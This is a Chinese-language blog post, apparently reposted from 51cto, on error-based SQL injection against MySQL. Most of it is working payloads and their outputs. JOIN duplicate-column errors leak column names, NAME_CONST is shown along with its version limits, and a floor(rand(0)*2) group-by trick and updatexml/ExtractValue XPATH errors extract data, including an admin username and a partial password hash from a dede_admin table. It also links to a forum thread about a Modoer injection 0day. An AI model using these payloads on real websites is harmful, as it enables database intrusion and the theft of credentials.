MySQL注入中报错的利用
MySQL注入中報錯的利用
?
在很多的情況 下我們不能直接方便的進行注入,于是有了BENCHMARK延遲注射,如果能得到MySQL的錯誤信息的話,現在又有了更方便的方法。
網上流傳了兩三種方法,以前我在BLOG也記錄了其中一種:
//利用MySQL出錯爆出字段
mysql> SELECT * FROM (SELECT * FROM user A JOIN user B) C;
ERROR 1060 (42S21): Duplicate column name 'Host'
mysql> SELECT * FROM (SELECT * FROM user A JOIN user B USING (Host)) C;
ERROR 1060 (42S21): Duplicate column name 'User'
mysql> SELECT * FROM (SELECT * FROM user A JOIN user B USING (Host,User)) C;
ERROR 1060 (42S21): Duplicate column name 'Password'
.....
//得到信息
//可能是版本問題,我測試沒能成功
mysql> SELECT NAME_CONST((SELECT Host FROM user LIMIT 0,1),0);
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST
好像是NAME_CONST的參數必須為CONST還是怎么了,悲劇。
下次再好好測試一下。
Update:確實是版本的問題(高版本要求參數全為const,否則報錯),這方法的通用性看來不是很好。
mysql> SELECT version();
+---------------------+
| version()?????????? |
+---------------------+
| 5.0.27-community-nt |
+---------------------+
1 row in set (0.00 sec)
mysql> SELECT NAME_CONST((SELECT user()),0);
+----------------+
| root@localhost |
+----------------+
|????????????? 0 |
+----------------+
1 row in set (0.00 sec)
-------------------------------------
mysql> SELECT version();
+------------------+
| version()??????? |
+------------------+
| 5.1.35-community |
+------------------+
1 row in set (0.00 sec)
mysql> SELECT NAME_CONST((SELECT version()),0);
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST
?
前段時間在t00ls上看到的另一種:
http://www.t00ls.net/thread-8745-1-4.html《Modoer 1.2.5 注入0day 利用方法》
類似這樣
mysql> SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT 'x'))a fro
m information_schema.tables group by a)b;
ERROR 1062 (23000): Duplicate entry '1x' for key 'group_key'
這種方法對MySQL版本沒什么要求,但只能爆出64字節的數據,用這種方法遇到大數據只能MID慢慢來了。
?
最后一種(只針對MySQL 5.1++)
http://hi.baidu.com/lucidc/blog/item/71d080b031fb3a5908230262.html
http://devteev.blogspot.com/2009/10/advanced-sql-injection-lab-full-pack.html
通過對ExtractValue函數傳遞不合XPATH語法規則的參數來爆出數據。
ExtractValue、UpdateXML函數參見:http://dev.mysql.com/tech-resources/articles/mysql-5.1-xml.html
利用方法:
mysql> SELECT 1 FROM dede_admin WHERE updatexml(1,(SELECT CONCAT(0x5b,uname,0x3a
,MID(pwd,4,16),0x5d) FROM dede_admin),1);
ERROR 1105 (HY000): XPATH syntax error: '[admin:7a57a5a743894a0e]'
比上一種方法方便簡潔,不過這方法只能爆出32字節的數據。同樣,大數據只能Mid了
轉載于:https://blog.51cto.com/pnig0s1992/479694
總結
以上是生活随笔為你收集整理的MySQL注入中报错的利用的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: C++的IO流的函数
- 下一篇: 头部眉毛上面和太阳穴位置有伤口缝针过后两